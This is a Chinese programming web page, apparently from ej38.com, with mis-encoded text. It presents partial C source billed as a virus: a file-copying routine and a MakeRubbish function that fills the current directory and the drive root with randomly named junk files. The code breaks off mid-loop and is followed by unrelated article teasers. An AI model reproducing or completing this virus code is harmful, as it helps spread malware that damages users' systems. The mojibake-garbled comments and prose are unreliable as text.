Ò׽ؽØÍ¼Èí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

Ò»¸öC²¡¶¾ !

//Á¬½ÓÍ·Îļþ
#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//¿½±´ÎļþÄ£¿é
int copyfile (char *infile, char *outfile)
{
    FILE *in,*out; //¶¨ÒåÎļþÖ¸Õë
    in = fopen(infile,"r"); //´ò¿ªÎļþ
    out = fopen(outfile,"w"); //½¨Á¢Îļþ
    while (!feof(in)) //ÅжÏÎļþÊÇ·ñÒѽáÊø
    {
        fputc (fgetc(in),out); //´Óin¶ÁÒ»×Ö·ûµ½out
    }
    fclose (in); //¹Ø±ÕinÎļþ
    fclose (out);//¹Ø±ÕoutÎļþ
    return 0; //·µ»Ø
}
int MakeRubbish (void)
{
    int i; //ÉùÃ÷ÕûÐαäÁ¿i
    FILE *fp; //ÎļþÖ¸Õëfp
    char *path; //·¾¶Ö¸Õë
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"}; //³õʼ»¯Ö¸ÕëÊý×é
    char *addtion = ":\\";
    for (i = 0; i<5; i++) //Ñ­»·4´Î
    {
        char tempname[] = "XXXXXX" ; //Ëæ»úÃû×Ö
        NewName = mktemp(tempname);  //½¨Á¢Î¨Ò»µÄÎļþÃû
        fp = fopen(NewName,"w");  //´´½¨Îı¾Îļþ
        fclose (fp); //¹Ø±ÕfpÎļþÁ÷
    }
    path = strcat(disk[getdisk()],addtion); //µÃµ½¸ù±àºÅ
    chdir(path); //¸Ä±ä¹¤×÷Ŀ¼
    for (i = 0; i<5; i++) //Ñ­»·´ÎÊý
    {
        char tempname[] = "XXXXXX"; //´®¸³ÈëÊý×é
        NewName = mktemp(tempname); //½¨Á¢Î¨Ò»µÄÎļþÃû
        fp = fopen(NewName,"w");    //´´½¨ÐÂÎļþ
        fclose (fp); //¹Ø±ÕÎļþ
 &n


Ïà¹ØÎĵµ£º

¡¾×ª¡¿c´úÂëÓÅ»¯


1¡¢Ñ¡ÔñºÏÊʵÄËã·¨ºÍÊý¾Ý½á¹¹
Ñ¡ÔñÒ»ÖÖºÏÊʵÄÊý¾Ý½á¹¹ºÜÖØÒª£¬Èç¹ûÔÚÒ»¶ÑËæ»ú´æ·ÅµÄÊýÖÐʹÓÃÁË´óÁ¿µÄ²åÈëºÍɾ³ýÖ¸ÁÄÇʹÓÃÁ´±íÒª¿ìµÃ¶à¡£Êý×éÓëÖ¸ÕëÓï¾ä¾ßÓÐÊ®·ÖÃÜÇеĹØÏµ£¬Ò»°ãÀ´Ëµ£¬Ö¸Õë±È½ÏÁé»î¼ò½à£¬¶øÊý×éÔò±È½ÏÖ±¹Û£¬ÈÝÒ×Àí½â¡£¶ÔÓڴ󲿷ֵıàÒëÆ÷£¬Ê¹ÓÃÖ¸Õë±ÈʹÓÃÊý×éÉú³ÉµÄ´úÂë¸ü¶Ì£¬Ö´ÐÐЧÂʸü¸ß¡£
ÔÚÐí¶à ......

ʹÓô¿CÔÚ×Ô¼ºµÄ´°¿ÚÖÐǶÈëHTML¿Ø¼þ

±ê Ìâ: ¡¾·­Òë¡¿¹ýÄêÁË£¬Ï×ÉÏСÀñ - ʹÓô¿CÔÚ×Ô¼ºµÄ´°¿ÚÖÐǶÈëHTML¿Ø¼þ
×÷ Õß: xiep
ʱ ¼ä: 2010-01-22,13:42:29
Á´ ½Ó: http://bbs.pediy.com/showthread.php?t=105702
ǰ¶Îʱ¼äÒòΪÏîÄ¿ÐèÒª£¬ËùÒÔ·­ÒëÁËÕâÆª£¬Ï£Íû¶ÔijЩÈËÓÐÓá£ÓÉÓÚʱ¼ä²Ö´Ù£¬´íÎóÖ®´¦ÔÚËùÄÑÃ⣬Çë²»ÁßÖ¸³ö¡£
Áí£ºbrowser libΪÎÒ¸ÄдµÄÒ»¸ö¾ ......

Fortran & C »ì±à

C µ÷ÓÃ Fortran
c2ffn.f
      SUBROUTINE NAMEAGE(NAME, NLEN, AGE, TEMP)
      CHARACTER*(*) NAME
      INTEGER NLEN,AGE
      REAL TEMP
C
      WRITE(6,1000) NAME(1:NLEN),AGE,TEMP ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØÍ¼ | ¸ÓICP±¸09004571ºÅ